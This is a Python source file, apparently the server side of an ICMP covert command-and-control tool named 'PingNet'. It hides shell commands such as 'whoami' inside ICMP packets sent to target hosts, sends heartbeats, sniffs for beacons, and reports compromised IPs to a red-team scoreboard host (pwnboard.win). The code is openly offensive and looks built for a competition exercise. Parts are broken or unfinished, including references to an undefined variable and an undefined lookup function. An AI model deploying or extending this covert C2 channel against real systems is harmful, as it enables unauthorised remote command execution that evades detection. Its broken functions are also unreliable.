-
Notifications
You must be signed in to change notification settings - Fork 0
/
server2.py
147 lines (129 loc) · 4.78 KB
/
server2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
from scapy.all import *
import csv
import sys
import threading
import random
import requests
import json
import time
from db import Connector
def threaded(fn):
def wrapper(*args, **kwargs):
thread = threading.Thread(target=fn, args=args, kwargs=kwargs)
thread.start()
return thread
return wrapper
class Server:
def __init__(self):
self.verbose = False
self.alive = []
#self.db = Connector()
with open("test.txt") as file:
csv_reader = csv.reader(file, delimiter=',')
for row in csv_reader:
print(row)
def shell(self):
global verbose
print("Welcome to PingNet")
while True:
cmd = input("Pingnet:")
if cmd == "exit":
print("Closing")
break
elif cmd == "help":
print("\nPingnet Help\ncallbacks(NI) - view all systems that have beat back\nexit - exits ping net\nhelp - Displays this help menu\nlookup <team number(NI) or specific device> - Lookup infomration on a specific device\nlist(NI) - list all of the stored systems\nsend - Enters the send prompts to send either files(not implemented) or commands to the client device\n")
elif cmd == "lookup":
lookup = input("What information to pull:")
try:
print(iplook(lookup))#Fix this to use the database instead
except IndexError:
print("Out of bounds")
except ValueError:
print("Why a negative number")
elif cmd == "send":
self.send_cmd()
elif cmd == "file":
id = input("Target: ")
file_transfer(input("What File would you like to send:"), iplook(id))#Fix this to use the database
elif cmd == "test":
print("THis is only for testing fuctionality of class not actual control")
self.sender("11", "whoami", "44", "3")
else:
print("Invalid command")
def sender(self, dest, cmd, protype, protcode):
print("DEST")
send(IP(dst=dest)/ICMP(type=protype, code=protcode)/cmd)#Fix this to use the database instead
def send_cmd(self):
#typ = random.randint(44,94)
typ = 44
target = input("Target:")
code = input("Cmd Processor")
cmd = input("Command:")
self.sender(target, cmd, typ, code)
def heartbeats(self):
ips = ["192.168.232.129"]#self.db.heart_ips_test()
for ip in ips:
#print(ip)
typ = 146
code = 0
checked = self.sender(ip, "abcdefghijklmnopqrstuvwxyz",typ,code)
#Do if logic later
#time.sleep(5000)
#self.alive = []
#self.sendUpdate(alive, name="PingNet")
@threaded
def heartbeat(self):
ip = "192.168.232.129"
while True:
typ = 146
code = 0
self.sender(ip, "abcdefghijklmnopqrstuvwxyz",typ,code)
time.sleep(2)
def file_transfer(self, fname):
with open(fname, "rb") as fsend:
data = f.read()
print(data)
def encryptor(self):
pass #This is necessary
def resp_mgmt(self, pkt):
print("recievied")
if str(pkt.getlayer(ICMP).type) == "146":
if str(pkt.getlayer(ICMP).code) == "1":
print("Heartbeat Recieved")
self.alive.append(pkt.getlayer(IP).src)
#print(self.alive)
print(pkt.show())
print(pkt.getlayer(ICMP).type)
data = pkt.getlayer(ICMP).load.decode()
print(data)
@threaded
def sniffer(self):
print("Sniffing")
sniff(filter="icmp", prn=self.resp_mgmt())
# These packets will come in periodically. The heartbeat will just have 1pkt that will have the str hb
def sendUpdate(self, ips, name="PingNet"):
host = "http://pwnboard.win/generic"
# Here ips is a list of IP addresses to update
# If we are only updating 1 IP, use "ip" and pass a string
data = {'ips': ips, 'type': name}
try:
req = requests.post(host, json=data, timeout=3)
print(req.text)
return True
except Exception as E:
print(E)
return False
class Sniffer(Thread):
def __init__(self, interface="eth0"):
super().__init__()
self.interface = interface
def run(self):
sniff(iface=self.interface, filter="icmp", prn=self.print_packet)
def print_packet(self, packet):
ip_layer = packet.getlayer(IP)
print("[!] New Packet: {src} -> {dst}".format(src=ip_layer.src, dst=ip_layer.dst))
server = Server()
h1 = server.sniffer()
h2 = server.heartbeat()
h1.join()
h2.join()